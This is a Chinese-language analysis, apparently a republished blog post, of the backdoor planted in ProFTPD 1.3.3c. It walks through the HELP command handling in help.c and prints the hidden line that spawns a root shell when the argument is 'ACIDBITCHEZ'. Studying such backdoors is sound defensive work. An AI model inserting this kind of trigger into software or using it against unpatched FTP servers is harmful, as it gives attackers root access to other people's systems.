漏洞说明
此漏洞是由于proFTPd在HELP参数中预制了一个后门,在用户执行HELP后,help.c的某函数会对HELP命令后的参数进行一次检查,如果与后门参数相同,则会执行一个/bin/sh的shell,使 2020-2-10 13:24:35 Author: whereisk0shl.top(查看原文) 阅读量:0 收藏

此漏洞是由于proFTPd在HELP参数中预制了一个后门,在用户执行HELP后,help.c的某函数会对HELP命令后的参数进行一次检查,如果与后门参数相同,则会执行一个/bin/sh的shell,使连接用户获得执行权限。下面从漏洞复现到分析讲解整个过程。

static cmdtable core_cmdtab[] = {
#if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP)
  { PRE_CMD, C_ANY, G_NONE,  regex_filters, FALSE, FALSE, CL_NONE },
#endif
  { PRE_CMD, C_ANY, G_NONE, core_clear_fs,FALSE, FALSE, CL_NONE },
  { CMD, C_HELP, G_NONE,  core_help,	FALSE,	FALSE, CL_INFO },
  { CMD, C_PORT, G_NONE,  core_port,	TRUE,	FALSE, CL_MISC },
  { CMD, C_PASV, G_NONE,  core_pasv,	TRUE,	FALSE, CL_MISC },
  { CMD, C_EPRT, G_NONE,  core_eprt,    TRUE,	FALSE, CL_MISC },
  { CMD, C_EPSV, G_NONE,  core_epsv,	TRUE,	FALSE, CL_MISC },
  { CMD, C_SYST, G_NONE,  core_syst,	FALSE,	FALSE, CL_INFO },
  { CMD, C_PWD,	 G_DIRS,  core_pwd,	TRUE,	FALSE, CL_INFO|CL_DIRS },
  { CMD, C_XPWD, G_DIRS,  core_pwd,	TRUE,	FALSE, CL_INFO|CL_DIRS },
  { CMD, C_CWD,	 G_DIRS,  core_cwd,	TRUE,	FALSE, CL_DIRS },
  { CMD, C_XCWD, G_DIRS,  core_cwd,	TRUE,	FALSE, CL_DIRS },
  { CMD, C_MKD,	 G_WRITE, core_mkd,	TRUE,	FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_XMKD, G_WRITE, core_mkd,	TRUE,	FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_RMD,	 G_WRITE, core_rmd,	TRUE,	FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_XRMD, G_WRITE, core_rmd,	TRUE,	FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_CDUP, G_DIRS,  core_cdup,	TRUE,	FALSE, CL_DIRS },
  { CMD, C_XCUP, G_DIRS,  core_cdup,	TRUE,	FALSE, CL_DIRS },
  { CMD, C_DELE, G_WRITE, core_dele,	TRUE,	FALSE, CL_WRITE },
  { CMD, C_MDTM, G_DIRS,  core_mdtm,	TRUE,	FALSE, CL_INFO },
  { CMD, C_RNFR, G_DIRS,  core_rnfr,	TRUE,	FALSE, CL_MISC|CL_WRITE },
  { CMD, C_RNTO, G_WRITE, core_rnto,	TRUE,	FALSE, CL_MISC|CL_WRITE },
  { LOG_CMD,     C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
  { LOG_CMD_ERR, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
  { CMD, C_SIZE, G_READ,  core_size,	TRUE,	FALSE, CL_INFO },
  { CMD, C_QUIT, G_NONE,  core_quit,	FALSE,	FALSE,  CL_INFO },
  { LOG_CMD, 	 C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
  { LOG_CMD_ERR, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
  { CMD, C_NOOP, G_NONE,  core_noop,	FALSE,	FALSE,  CL_MISC },
  { CMD, C_FEAT, G_NONE,  core_feat,	FALSE,	FALSE,  CL_INFO },
  { CMD, C_OPTS, G_NONE,  core_opts,    FALSE,	FALSE,	CL_MISC },
  { POST_CMD, C_PASS, G_NONE, core_post_pass, FALSE, FALSE },
  { 0, NULL }
};
{ CMD, C_HELP, G_NONE,  core_help,	FALSE,	FALSE, CL_INFO }
#define C_HELP	"HELP"		/* Help */

这是HELP命令的一个定义,接下来程序会对cmd命令进行一次判断,如果符合C_HELP的判断,就会执行core_help函数,其中对help命令的格式定义是这样的。

  pr_help_add(C_HELP, "[<sp> command]", TRUE)
MODRET core_help(cmd_rec *cmd) {

  if (cmd->argc == 1) {
    pr_help_add_response(cmd, NULL);

  } else {
    char *cp;

    for (cp = cmd->argv[1]; *cp; cp++)
      *cp = toupper(*cp);

    if (strcasecmp(cmd->argv[1], "SITE") == 0)
      return pr_module_call(&site_module, site_dispatch, cmd);

    if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
      return PR_HANDLED(cmd);

    pr_response_add_err(R_502, _("Unknown command '%s'"), cmd->argv[1]);
    return PR_ERROR(cmd);
  }

  return PR_HANDLED(cmd);
}

   if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
      return PR_HANDLED(cmd);

这里会将cmd的参数传入pr_help_add_response函数,这个函数主要用于处理HELP函数的参数,而后门就在这个函数中,函数位于help.c中,来看一下这个函数的内容。

void pr_help_add(const char *cmd, const char *syntax, int impl) {
  struct help_rec *help;

  if (!cmd || !syntax)
    return;

  /* If no list has been allocated, create one. */
  if (!help_pool) {
    help_pool = make_sub_pool(permanent_pool);
    pr_pool_tag(help_pool, "Help Pool");
    help_list = make_array(help_pool, 0, sizeof(struct help_rec));
  }

  /* Make sure that the command being added isn't already in the list.
   * However, if it _is_ already in the list, but it's marked as not
   * implemented, _and_ the given impl flag is TRUE, then handle it
   * accordingly.
   */
  if (help_list->nelts > 0) {
    register unsigned int i = 0;
    struct help_rec *helps = help_list->elts;

    for (i = 0; i < help_list->nelts; i++)
      if (strcmp(helps[i].cmd, cmd) == 0) {
        if (helps[i].impl == FALSE &&
            impl == TRUE) {
          helps[i].impl = impl;
        }

        return;
      }
  }

  help = push_array(help_list);
  help->cmd = pstrdup(help_pool, cmd);
  help->syntax = pstrdup(help_pool, syntax);
  help->impl = impl;
}

int pr_help_add_response(cmd_rec *cmd, const char *target) {
  if (help_list) {
    register unsigned int i;
    struct help_rec *helps = help_list->elts;
    char *outa[8], *outstr;
    char buf[9] = {'\0'};
    int col = 0;

    if (!target) {
      pr_response_add(R_214,
        _("The following commands are recognized (* =>'s unimplemented):"));

      memset(outa, '\0', sizeof(outa));

      for (i = 0; i < help_list->nelts; i++) {
        outstr = "";

        if (helps[i].impl)
          outa[col++] = (char *) helps[i].cmd;
        else
          outa[col++] = pstrcat(cmd->tmp_pool, helps[i].cmd, "*", NULL);

        /* 8 rows */
        if ((i + 1) % 8 == 0 ||
            helps[i+1].cmd == NULL) {
          register unsigned int j;

          for (j = 0; j < 8; j++) {
            if (outa[j]) {
              snprintf(buf, sizeof(buf), "%-8s", outa[j]);
              buf[sizeof(buf)-1] = '\0';
              outstr = pstrcat(cmd->tmp_pool, outstr, buf, NULL);

            } else
              break;
          }

          if (*outstr)
            pr_response_add(R_DUP, "%s", outstr);

          memset(outa, '\0', sizeof(outa));
          col = 0;
          outstr = "";
        }
      }

      pr_response_add(R_DUP, _("Direct comments to %s"),
        cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");

    } else {

	if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
      /* List the syntax for the given target command. */
      for (i = 0; i < help_list->nelts; i++) {
        if (strcasecmp(helps[i].cmd, target) == 0) {
          pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
            helps[i].syntax);
          return 0;
        }
      }
    }

    errno = ENOENT;
    return -1;
  }

  errno = ENOENT;
  return -1;
}

	if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
      /* List the syntax for the given target command. */
      for (i = 0; i < help_list->nelts; i++) {
        if (strcasecmp(helps[i].cmd, target) == 0) {
          pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
            helps[i].syntax);
          return 0;
        }

这里会判断target的值,而target的值就是传入的参数,如果这个参数等于ACIDBITCHEZ的时候,就会执行/bin/sh,开放shell,导致可以执行系统命令,获得系统执行权限。


文章来源: https://whereisk0shl.top/post/Proftpd-1.3.3c后门分析/
如有侵权请联系:admin#unsafe.sh